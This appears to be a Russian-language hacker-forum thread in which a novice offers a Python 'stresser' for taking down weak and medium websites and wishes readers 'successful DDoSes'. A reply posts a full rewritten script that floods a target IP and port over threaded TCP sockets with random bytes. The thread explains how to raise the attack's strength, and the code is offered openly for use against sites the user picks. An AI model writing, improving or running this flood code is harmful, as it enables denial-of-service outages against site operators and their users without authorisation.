Софт Микрострессер на Python

tapokkkio

Новичок
Автор темы
2
1
Всем привет,бластхачи,написал тут небольшой софт для напряжения/вывода из строя слабых-средних сайтов,работает как ~2 стрессера.Постараюсь расписать всё как можно понятнее,прошу не судить за воду.
Итак,начнем с установки,для начала установим
Python с официального сайта: www.python.org , дальше скачиваем мой скриптик(он ниже). Так вот,вы его запускаете,а далее перед вами открываются поля для ввода.Вводим IP-адрес цели(если вы не знаете что это,то что вы тут забыли так-то,но его можно достать на 2ip). Дальше вводим порт для атаки(дефолтный - 80),а теперь начинается самое интересное.

Пакеты в секунду. Это то,сколько файликов будет отправлено на сайт в секунду.
Потоки.Это то,сколько отправителей файликов вы настроите(не выше 500)

Если вы не поняли,то ничего страшного.Представим проводки,по которым идёт ток.Количество проводков - это потоки.А напряжение этих проводков - пакеты в секунду.


Как увеличить мощность? Добавить пакетов/потоков.Ну а если вы прям лютейший хацкер что в питоне умеете print('Hello World!'),то можете зайти в мой скрипт,найти строчку

мощность:
    hh = random._urandom(90)

и заменить в ней дефолтное значение 90 на что либо. До 1024 можете ставить смело,ошибок не будет выскакивать.

На этом всё,удачных вам дудосов!
 

Вложения

  • ddos.py
    920 байт · Просмотры: 64
  • Нравится
Реакции: Arz rpg

Josski Molodoi

Активный
182
83
штука бесполезная, но переписал в более чистый вид
Python:
import socket
from threading import Thread
from random import _urandom
from time import sleep

print('=========================BLASTSTRESSER BY DR1PIKI=========================\n'
      '=========================FREE FOR ALL, V.1================================\n'
      '=========================BLASTSTRESSER BY DR1PIKI=========================')


def stress(thread_number: int,
           packets_count: int, threads_count: int,
           ip: str, port: str = 80) -> None:
    _bytes  = _urandom(1024)
    _thread = 0

    while True:
        try:
            _socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

            _socket.connect((ip, port))
            _socket.send(_bytes)

            for i in range(packets_count):
                _socket.send(_bytes)
                _socket.send(_bytes)

            _thread += 1

            print(f'Атакую {ip} | Отправлено с потока: {_thread}')
        except Exception as ex:
            _socket.close()
            print(str(ex))
            sleep(10)


def main() -> None:
    ip   = str(input('[+] IP-адрес цели: '))
    port = int(input('[+] Порт: '))
    packets_count = int(input('[+] Пакеты/сек: '))
    threads_count = int(input('[+] Потоков: '))

    for thread_num in range(threads_count):
        Thread(
            target=stress, args=(
                thread_num,
                packets_count,
                threads_count,
                ip,
                port,
            )
        ).start()
        break


if __name__ == "__main__":
    main()
 
  • Нравится
Реакции: Dickson и Haymiritch

tapokkkio

Новичок
Автор темы
2
1
угу,шас.я питон то меньше трёх месяцев учу

штука бесполезная, но переписал в более чистый вид
Python:
import socket
from threading import Thread
from random import _urandom
from time import sleep

print('=========================BLASTSTRESSER BY DR1PIKI=========================\n'
      '=========================FREE FOR ALL, V.1================================\n'
      '=========================BLASTSTRESSER BY DR1PIKI=========================')


def stress(thread_number: int,
           packets_count: int, threads_count: int,
           ip: str, port: str = 80) -> None:
    _bytes  = _urandom(1024)
    _thread = 0

    while True:
        try:
            _socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

            _socket.connect((ip, port))
            _socket.send(_bytes)

            for i in range(packets_count):
                _socket.send(_bytes)
                _socket.send(_bytes)

            _thread += 1

            print(f'Атакую {ip} | Отправлено с потока: {_thread}')
        except Exception as ex:
            _socket.close()
            print(str(ex))
            sleep(10)


def main() -> None:
    ip   = str(input('[+] IP-адрес цели: '))
    port = int(input('[+] Порт: '))
    packets_count = int(input('[+] Пакеты/сек: '))
    threads_count = int(input('[+] Потоков: '))

    for thread_num in range(threads_count):
        Thread(
            target=stress, args=(
                thread_num,
                packets_count,
                threads_count,
                ip,
                port,
            )
        ).start()
        break


if __name__ == "__main__":
    main()
что-ж,спасибо за помощь!